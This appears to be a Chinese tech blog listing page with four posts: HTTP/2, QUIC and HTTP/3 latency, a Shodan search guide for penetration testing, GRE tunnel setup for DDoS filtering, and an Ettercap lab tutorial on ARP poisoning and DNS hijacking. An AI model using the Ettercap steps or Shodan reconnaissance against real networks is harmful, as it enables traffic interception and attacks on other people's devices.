1.x和很多人想象不一样的是,浏览器从服务器获取的一个页面,通常由很多资源链接所组成。服务器给浏览器推送的第一个页面,页面里通常嵌入了图片资源文本链接、以及动态页面资源链接、或第三方网站的链接资源,还需要浏览器根据这些文本链接内容,去链接所对应的服务器,继续下载链接所对应的内容。浏览器通常采用的流程是,重新建立一个TCP连接、TLS连接、HTTP交易。这又是一个漫长的4RTT等待过程,用户看到浏览器完整页面的时间为完整页面加载时间 = 4RTT *2 = 8RTTHTTP /2自然有人会问,既然第一次页面与第二次页面都是同一个网站服务器,为何第二次页面要重新建立一个TCP连接,一个TLS连接?如果重用第一个TCP连接,那么就少了1.5 RTT + 1.5 RTT = 3 RTT的时间。这是一个好主意,就是用户的多个HTTP Request请求,使用同一个逻辑通道进行运输,这样会大大减少重新建立连接所花费的时间。但是,这样会带来一个副作用,多个HTTP流使用同一个TCP连接,遵守同一个流量状态控制。只要第一个HTTP流遭遇到拥塞,剩下的HTTP流压根没法发出去,这就是头部阻塞(Head of line Blocking)。既然TCP不好用,那为何要吊死在TCP这一棵树上呢?外面的世界很精彩,到外面的世界逛逛。QUIC(Quick UDP Internet Connection)逛下来的感受是,UDP不需要连接,不会带来附加的RTT时间,UDP是一个好的合伙人被HTTP /2拉上了贼船,各合伙人的站位如下:IP / UDP / QUIC这个就是Google开发QUIC协议,QUIC协议集成了TCP可靠传输机制、TLS安全加密、HTTP /2 流量复用技术,其页面的加载时间为2.5 RTT时间。此外,完成QUIC交易的连接的Session ID会缓存在浏览器内存里,如果用户再次打开该页面,无需建立TLS连接,直接使用缓存Session ID 对应的加密参数,服务器可以根据Session ID在缓存里查找对应的加密参数,并完成加密。换句话说,重连TLS连接是一个0 RTT 事件,用户所要等待的页面加载事件 =HTTP交易事件 = 1 RTT。HTTP /3这一次IETF又觉得QUIC是一个好东西,但是希望QUIC不仅可以运输HTTP,还可以运输其它协议,把QUIC与HTTP分离,最终各合伙人的占位如下所示:IP / UDP / QUIC / HTTP这样整体的页面加载时间为2 RTT。TLS 1.3IETF的QUIC标准集成了TLS 1.3版本,1.3版本更简练,建立TLS连接不再需要1.5 RTT,而只需要1 RTT,是因为浏览器第一次就把自己的密钥交换的素材发给服务器,这样就节省了第三次消息,少了0.5个RTT时间。页面的整体加载时间 = TLS 1.3连接时间 + HTTP交易时间 = 1RTT + 1RTT = 2 RTT重连页面的加载时间 = HTTP交易时间 = 1 RTTHTTP /3所带来的挑战99%+以上的手机移动终端、电脑终端,都使用私有IP,都需要NAT设备来完成私有IP与全球IP的转换。这意味着NAT设备通常会记忆用户的通信状态,一旦用户完成了通信,NAT设备会释放这些记忆对于基于TCP的HTTP、HTTPS传输,NAT设备可以根据TCP报文头的SYN / FIN状态位,知道通信什么时候开始,什么时候结束,对应记忆的开始、记忆的结束。但是基于UDP传输的HTTP/3,NAT设备收到流量会知道连接什么时候开始,但是却无法知道流量什么时候结束。NAT设备的记忆如果短于用户会话时间,则用户会话会中断。NAT设备的记忆如果大大长于用户会话时间,则意味着NAT设备的端口资源会白白被占用!最直接的解决方案是,在QUIC的头部模仿TCP的SYN/FIN状态,让沿途的NAT设备知道会话什么时候开始、什么时候结束。但这需要升级全球所有的NAT设备的软件!另外一个可行的方案是,让QUIC周期性地发送Keepalive消息,刷新NAT设备的记忆,避免NAT设备释放自己的记忆。HTTP/3 或者说核心的 QUIC 协议主要是在做三个事情:通过提高链接利用效率减少 RTT,提高数据交互速度。在第一条的基础上,囊括安全需求。解决当前实际网络环境中的适配问题,也就是说协议不能太过 Breaking Change 了。HTTP/1.1 持续发展中,有两个东西变得比较重要,一个是 HTTPS,一个是 HTTP/2。其中, HTTPS 是在 HTTP 的协议上加了一层加密协商,这层加密协商在提高安全性的同时带来了完全新增的 TLS RTT,这对延迟是必然的增加。HTTP/2 的链接复用虽然可以将多个资源放到一个链接里,实现多路复用,却仍有 TCP 层面的排头阻塞(Head-of-line blocking)问题。QUIC 要解决上面问题,要安全,也要复用。会话层是不能单独拿出来做协商了,这个 RTT 是不能留的,最好就是把他整合到新的协议里,所以 QUIC 是 Build-in security; HTTP/2 的复用能力更要覆盖,所以 QUIC 链接建立后的 HTTP 请求也是能直接复用的,等于是完成上述两个东西的一个优化协议。然而,QUIC 的实现在传输层换了协议,从 TCP 换到了 UDP,这个变化可不是说升级就升级的,因为 QUIC 协议要保证可靠、有序、能校错,这些都不是 UDP 被对待的方式啊!很多场景下,UDP 都被当做「可以偶尔被丢弃的流量」,这对一个可靠数据传输是不能承受的。比如,一个官方的例子:NAT 网关。NAT 网关对 TCP 的映射是根据 source_ip:port 和 destination_ip:port 来做的,经过 NAT 网关的 TCP 流量都通过这个四元组做识别,监听 SYN 和 ACK 可以确定 TCP 链接是否建立是否断开;而 NAT 网关对 UDP 流量的处理却没有这么可靠,对于 UDP 流量,NAT 的端口映射可能在某次传输超时之后就被重新分配了,这本来对 UDP 的不可靠的流量也不那么严重,但 QUIC 基于这种实际情况下做,某个建立好要复用的链接,对 NAT 内部机器来说流量来源的端口是会发生变化的,从而四元组做链接标识的事情就结束了。
2020年04月01日
67 阅读
0 评论
0 点赞
2020-03-24
Shodan使用指南
前言Shodan是一个搜素互联网链接设备的搜索引擎,不同于Google、Baidu这些搜素引擎。用户可以在Shodan上使用Shodan搜索语法查找链接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中是个非常非常不错的神器。Shodan的工作原理Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。注:banner信息:用于描述设备所运行服务的标志性文本信息。Shodan的使用在使用Shodan之前我们需要注册一个Shodan账户,之后才可以使用:Shodan的使用方法较为简单,你可以将其当成一个“网络区域的”浏览器,之所以这样说是因为它具备搜索引擎的功能,而且是主要面对于网络设备的。Shodan初试条目介绍:左侧部分:Top Countries 使用最多的国家 Top services 使用最多的服务 Top organizations 使用最多的组织 Top operating systems 使用最多的操作系统 Top products (Software name) 使用最多的产品中间部分:涉及与搜素关键词有关的Target,主要包含的信息有:IP地址 主机名 该主机所处国家、区域 该条目的收录收录时间 Banner信息如果想要获得更加详细的信息可以点击“Details”之后获取与此目标相关的信息内容:Shodan的使用语法面对大量的信息量,如果要获取我们想要的目标信息,那么就必须附加限制条件缩小范围是最后的结果更加精确,与Google一样Shodan也有相应的语言可以使用:hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24" 查找位于国内的Nginx服务器nginx country:"CN"查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"查找指定网段的华为设备:huawei net:"61.191.146.0/24"如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法命令行下使用 ShodanShodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python安装pip install shodan或者git clone https://github.com/achillean/shodan-python.git && cd shodan-python python setup.py install安装完后我们先看下帮助信息:➜ ~ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据常用示例init初始化命令行工具。➜ ~ shodan init [API_Key] Successfully initializedcount返回查询的结果数量。➜ ~ shodan count microsoft iis 6.0 575862download将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加--limit 参数。
2020年03月24日
1,013 阅读
0 评论
0 点赞
2020-03-23
使用VPS的GRE隧道过滤DDoS
什么是GRE隧道?类似于代理,GRE隧道使您可以将来自VPS的流量(包括DDoS过滤)传递到另一个远程目标。GRE隧道允许所有流量通过,而不仅仅是HTTP。借助GRE隧道,您可以提供服务,并从任何类型的服务器(音频,FTP,SSH,SCP,视频等)传递任何类型的内容。可以使用GRE隧道做什么?当您想使用我们的DDoS过滤服务来保护太大的服务(例如游戏服务器,Java应用程序,大型数据库驱动的应用程序等)时,GRE隧道非常方便。没有对目标服务器的root访问权,或者正在运行大型Windows部署?查看我们将流量重定向牵引到您的远程服务器的替代方法。注意:如果您正在隧道连接到OVH服务器,则您的内核很可能没有GRE支持。您将需要使用IPIP隧道。支持的操作系统可以使用Windows创建和转发GRE隧道在本文档中,我们仅介绍Linux的GRE隧道配置。本指南在KVM或者OpenVZ的服务器上都可以起作用前提BuyVM VPS上安装的iptables(大多数情况下已包括在内)iproute2(几乎所有最新的Linux发行版中都包含)具有GRE支持的内核(Linux默认包含该组件-ip_gre内核模块)您需要转发到目的地的端口列表隧道设置首先,我们需要建立隧道。在BuyVM VPS上,请执行以下命令: echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf sysctl -p iptunnel add gre1 mode gre local YOUR_UNFILTERED_IP remote DESTINATION_SERVER_IP ttl 255 ip addr add 192.168.168.1/30 dev gre1 ip link set gre1 up 在要保护的远程服务器上,运行以下命令: iptunnel add gre1 mode gre local DESTINATION_SERVER_IP remote YOUR_UNFILTERED_IP ttl 255 ip addr add 192.168.168.2/30 dev gre1 ip link set gre1 up 您将始终希望使用所有GRE隧道的未过滤 IP地址来形成GRE,以确保您不会遇到任何类型的MTU问题或触发DDOS保护。请注意每个更改的第一行,以标记要在本地和远程使用的IP。第二行记录每个端点。在/ 30中,可以使用2个IP:.1和.2。使用Ping测试您的新GRE隧道在VPS上,您现在应该可以ping了192.168.168.2。为了完整起见,请192.168.168.1从目标服务器测试ping 。设置源路由表需要源路由条目,以确保通过GRE隧道传入的数据被发回GRE隧道。请在目标服务器上执行以下命令。echo '100 BUYVM' >> /etc/iproute2/rt_tables ip rule add from 192.168.168.0/30 table BUYVM ip route add default via 192.168.168.1 table BUYVM 请注意,echo命令只需要运行一次。该条目将保存到/ etc / iproute2 / rt_tables中,直到您手动将其删除。初始NAT条目以通过GRE隧道移动数据NAT用于通过GRE将数据传递到另一端。虽然可以使用已购买的/ 29分配的基于KVM的VPS,但本指南不涵盖此内容。在VPS上,运行以下命令: iptables -t nat -A POSTROUTING -s 192.168.168.0/30 ! -o gre+ -j SNAT --to-source 源ip测试出站连接在目标服务器上,您可以运行以下命令之一,以查看隧道是否正确传递了流量: curl http://www.cpanel.net/showip.cgi --interface 192.168.168.2 wget http://www.cpanel.net/showip.cgi --bind-address = 192.168.168.2 -q -O-IP应该是您的防御节点的IP。通过GRE隧道转发端口为了使事情变得容易,我们将所有端口转发到后端服务器。在VPS上运行以下命令:iptables -t nat -A PREROUTING -d YOUR_FILTERED_IP -j DNAT --to-destination 192.168.168.2 iptables -A FORWARD -d 192.168.168.2 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT 如果您想更具体一点,可以添加:-p tcp --dport 25565例如,如果您只是想保护Minecraft服务器。第一条规则设置实际的端口转发,第二条规则确保连接获得NAT,并正确匹配。在这一点上,您应该能够YOUR_FILTERED_IP使用您的应用程序连接到目标端口,并通过GRE隧道传递而不会出现问题。重新启动后重新启动GRE隧道可以/etc/rc.local使用自己喜欢的编辑器进行编辑(甚至使用WINSCP),并将刚运行的所有命令exit 0放在底部。选择发行版(如Debian)可能/etc/network/interfaces在启动时加入了GRE隧道,但这超出了本指南的范围。
2020年03月23日
149 阅读
0 评论
0 点赞
2020-03-23
Ettercap实现局域网DNS劫持
环境准备:1.kali系统;2.用到的软件:kali中的Ettercap,一个集成工具,里面包括了局域网主机扫描,arp欺骗,DNS劫持等功能;3.受害PC:自己的虚拟机中的系统centos。原理DNS,全称为域名解析协议,是一种将域名解析为ip地址的协议,基于UDP的53端口。比如我们在浏览器访问百度域名,会先向dns服务器发送一次dns请求报文,询问百度的ip地址,dns服务器经过查询(或递归查询)会将百度的域名以及对应的ip地址以dns响应报文的形式发回给我们,然后我们才可以与所对应的ip建立TCP连接进行网络通信。dns劫持建立在arp欺骗的基础上,关于arp的文章之前有写过,链接:arp协议分析&python编程实现arp欺骗抓图片,通过arp欺骗可以监听受害者机器到网关之间的流量,如果可以过滤协议为UDP,端口为53端口的数据报文,也就是DNS报文,并且将dns响应中的域名所对应的ip地址改写成我们服务器的ip,受害者机器就会与我们的机器进行连接通信,这就是dns投毒的基本原理,kali的Ettercap就可以做到这一点。1.打开ettercap的DNS文件进行编辑,文件路径为/etc/ettercap/etter.dns2.编辑/var/www/html/index.html文件 改成你定义页面 当然,如果你劫持到公网的某个地址,你可以跳过这步的3.输入命令ettercap -G来进入ettercap的图形界面4.选择网卡点击Sniff–>Unfied sniffing—配置,网卡选择eth05.接下来点击Hosts–>Scan for hosts,扫描局域网中存活的ip,寻找攻击目标6.显示扫到四个主机,点击Hosts list查看7.将网关192.168.75.1 Add to Target1,将受害PC192.168.75.131 Add to Target28.然后点击Mitm–>ARP poisoning9.勾选Sniff remote connections10.ARP欺骗便开始了11.下面开始dns劫持,点击Plugins–>Manage the plugins12.选择dns_spood插件,便开始dns欺骗了13.最后点击strat>start sniffing
2020年03月23日
277 阅读
0 评论
0 点赞
1
...
4
5
6